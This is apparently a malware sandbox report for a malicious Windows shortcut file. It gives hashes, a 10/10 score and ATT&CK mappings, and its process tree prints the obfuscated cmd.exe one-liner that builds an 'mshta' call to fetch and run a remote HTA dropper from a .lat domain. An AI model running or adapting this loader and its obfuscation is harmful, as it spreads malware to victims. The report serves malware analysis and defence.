616a0b80ab444f5ba9adf527b76a1dc51546489e63aaccf5f97886e3903de62f

Analysis

max time kernel
40s
max time network
23s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 22:11

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General

Target
DOC-MJB591.lnk
Size 2KB
Sample260803-138lnagf62
SHA256 616a0b80ab444f5ba9adf527b76a1dc51546489e63aaccf5f97886e3903de62f
MD5 3c06bc5ff77813a8dc1d9be304ba3892
SHA1 9c8816c67f8306e00a256fadec91f2ebb2645aa7
SHA512 be36fc7dee40b836d63f8c28a9469a09f09ee0444e529ec53bc243ced53d906e3aa344f2e13014a610b63b8d09f6ae2b4a7da2dda5a7c019e9619d28afdd4573
TLSH
T1EA5128942AF901E8F2BB8F32EDBEA7818977BD126D21C68C0890C10D0821B01D977B73
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3452	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3452 wrote to memory of 1424	3452	cmd.exe	89
PID 1424 wrote to memory of 2712	1424	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-MJB591.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3452
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/v:on/C"set dJz=winuuzcctqdaizjetjmkpwin&set UQttw=sysoulrbpsfowsys&set PgI=cfgdjbqnkgrnfdmucfg&set LuLgP=netwsmkdiveaxsnet&set KES=loglocwtrjlog&set DT=infltouhtcdinf&set ErXWn=netjfkhbmgbznbphxbxndnet&set zPEzb=uawmsfi&&set vAq=t2hgf&&set pEH=wvsta8f&set sdUHs=dbgvazbhtftmdzpadbg&set okcTU=lfstp&&set JaiGu=aars7c&&set emUyR=nitj2&set fe=bakrdnqqsucfiuyiaymbak&set goJH=oldwxmcouifsennold&&set xE=htt@ps@://k@-d@ocumenta@ci@o@[email protected]@a@t/h@/e@s@ta@[email protected]@p@?@r=@3F147@7F@15@3@9@8D1&&start /b !zPEzb:~3,2!!vAq:~2,1!!pEH:~3,2! !xE:@=!&&set mrvdE=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads